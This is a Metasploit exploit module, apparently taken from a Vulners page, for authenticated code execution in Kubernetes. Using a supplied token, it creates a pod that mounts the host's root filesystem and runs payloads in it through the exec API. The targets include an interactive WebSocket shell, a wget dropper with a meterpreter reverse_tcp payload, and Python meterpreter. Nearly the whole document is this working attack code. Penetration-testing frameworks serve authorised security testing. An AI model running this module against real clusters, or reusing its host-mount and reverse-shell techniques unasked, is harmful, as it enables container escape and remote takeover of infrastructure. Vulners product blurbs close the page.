# -*- coding: binary -*-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = ManualRanking
include Msf::Exploit::Retry
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Kubernetes
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kubernetes authenticated code execution',
'Description' => %q{
Execute a payload within a Kubernetes pod.
},
'License' => MSF_LICENSE,
'Author' => [
'alanfoster',
'Spencer McIntyre'
],
'References' => [
],
'Notes' => {
'SideEffects' => [
ARTIFACTS_ON_DISK, # the Linux Dropper target uses the command stager which writes to disk
CONFIG_CHANGES, # the Kubernetes configuration is changed if a new pod is created
IOC_IN_LOGS # a log event is generated if a new pod is created
],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultOptions' => {
'SSL' => true
},
'Targets' => [
[
'Interactive WebSocket',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Type' => :nix_stream,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/interact'
},
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
}
}
],
[
'Unix Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Type' => :nix_cmd
}
],
[
'Linux Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'Type' => :nix_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Python',
{
'Arch' => [ARCH_PYTHON],
'Platform' => 'python',
'Type' => :python,
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
}
]
],
'DisclosureDate' => '2021-10-01',
'DefaultTarget' => 0,
'Platform' => [ 'linux', 'unix' ],
'SessionTypes' => [ 'meterpreter' ]
)
)
register_options(
[
Opt::RHOSTS(nil, false),
Opt::RPORT(nil, false),
Msf::OptInt.new('SESSION', [ false, 'An optional session to use for configuration' ]),
OptString.new('TOKEN', [ false, 'The JWT token' ]),
OptString.new('POD', [ false, 'The pod name to execute in' ]),
OptString.new('NAMESPACE', [ false, 'The Kubernetes namespace', 'default' ]),
OptString.new('SHELL', [true, 'The shell to use for execution', 'sh' ]),
]
)
register_advanced_options(
[
OptString.new('PodImage', [ false, 'The image from which to create the pod' ]),
OptInt.new('PodReadyTimeout', [ false, 'The maximum amount time to wait for the pod to be created', 40 ]),
]
)
end
def pod_name
@pod_name || datastore['POD']
end
def create_pod
if datastore['PodImage'].blank?
image_names = @kubernetes_client.list_pods(namespace).fetch(:items, []).flat_map { |pod| pod.dig(:spec, :containers).map { |container| container[:image] } }.uniq
fail_with(Failure::NotFound, 'An image could not be found from which to create a pod, set the PodImage option') if image_names.empty?
else
image_names = [ datastore['PodImage'] ]
end
ready = false
image_names.each do |image_name|
print_status("Using image: #{image_name}")
random_identifiers = Rex::RandomIdentifier::Generator.new({
first_char_set: Rex::Text::LowerAlpha,
char_set: Rex::Text::LowerAlpha + Rex::Text::Numerals
})
new_pod_definition = {
apiVersion: 'v1',
kind: 'Pod',
metadata: {
name: random_identifiers[:pod_name],
labels: {}
},
spec: {
containers: [
{
name: random_identifiers[:container_name],
image: image_name,
command: ['/bin/sh', '-c', 'exec tail -f /dev/null'],
volumeMounts: [
{
mountPath: '/host_mnt',
name: random_identifiers[:volume_name]
}
]
}
],
volumes: [
{
name: random_identifiers[:volume_name],
hostPath: {
path: '/'
}
}
]
}
}
new_metadata = @kubernetes_client.create_pod(new_pod_definition, namespace)[:metadata]
@pod_name = random_identifiers[:pod_name]
print_good("Pod created: #{pod_name}")
print_status('Waiting for the pod to be ready...')
ready = retry_until_truthy(timeout: datastore['PodReadyTimeout']) do
pod = @kubernetes_client.get_pod(pod_name, namespace)
pod_status = pod[:status]
next if pod_status == 'Failure'
container_statuses = pod_status[:containerStatuses]
next unless container_statuses
ready = container_statuses.any? { |status| status[:ready] }
ready
rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ServerError => e
elog(e)
false
end
if ready
report_note(
type: 'kubernetes.pod',
host: rhost,
port: rport,
data: {
pod: new_metadata.slice(:name, :namespace, :uid, :creationTimestamp),
imageName: image_name
},
update: :unique_data
)
break
end
print_error('The pod failed to start within the expected timeframe')
begin
@kubernetes_client.delete_pod(@pod_name, namespace)
rescue StandardError
print_error('Failed to delete the pod')
end
end
fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready
end
def exploit
if session
print_status("Routing traffic through session: #{session.sid}")
configure_via_session
end
validate_configuration!
@kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token })
create_pod if pod_name.blank?
case target['Type']
when :nix_stream
# Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back
websocket = @kubernetes_client.exec_pod(
pod_name,
datastore['Namespace'],
datastore['Shell'],
'stdin' => true,
'stdout' => true,
'stderr' => true,
'tty' => false
)
print_good('Successfully established the WebSocket')
channel = Msf::Exploit::Remote::HTTP::Kubernetes::Client::ExecChannel.new(websocket)
handler(channel.lsock)
when :nix_cmd
execute_command(payload.encoded)
when :nix_dropper
execute_cmdstager
else
execute_command(payload.encoded)
end
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
res = e.http_response
fail_with(Failure::Unreachable, e.message) if res.nil?
fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403
fail_with(Failure::Unknown, e.message)
else
report_service(host: rhost, port: rport, proto: 'tcp', name: 'kubernetes')
end
def execute_command(cmd, _opts = {})
case target['Platform']
when 'python'
command = [datastore['Shell'], '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]
else
command = [datastore['Shell'], '-c', cmd]
end
result = @kubernetes_client.exec_pod_capture(
pod_name,
datastore['Namespace'],
command,
'stdin' => false,
'stdout' => true,
'stderr' => true,
'tty' => false
) do |stdout, stderr|
print_line(stdout.strip) unless stdout.blank?
print_line(stderr.strip) unless stderr.blank?
end
fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?
status = result&.dig(:error, 'status')
fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation